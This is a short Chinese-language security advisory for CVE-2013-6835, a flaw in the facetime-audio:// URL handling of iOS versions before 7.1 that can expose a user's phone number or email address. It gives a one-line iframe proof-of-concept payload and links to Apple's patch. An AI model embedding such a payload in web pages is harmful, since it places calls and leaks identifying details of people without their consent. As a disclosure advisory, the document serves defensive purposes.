发布日期：2014-03-10
更新日期：2014-03-13

受影响系统：

Apple iOS < 7.1

描述：

---

BUGTRAQ  ID: 66108
CVE(CAN) ID: CVE-2013-6835

iOS是由苹果公司为移动设备所开发的操作系统，支持的设备包括iPhone、iPod touch、iPad、Apple TV。

iOS 7.1之前版本在facetime-audio:// URL机制的实现上存在安全漏洞，攻击者可利用此漏洞获取获取用户的电话号码、电子邮件地址等。

<*来源：Guillaume Ross
  
  链接：http://www.securityfocus.com/archive/1/531409
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

&amp;lt;iframe src=&quot;facetime-audio://user () host com&quot;&amp;gt;&amp;lt;/iframe&amp;gt;

建议：

---

厂商补丁：

Apple
-----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.apple.com/support/downloads/
http://support.apple.com/kb/HT6162

浏览次数：2207
严重程度：0（网友投票）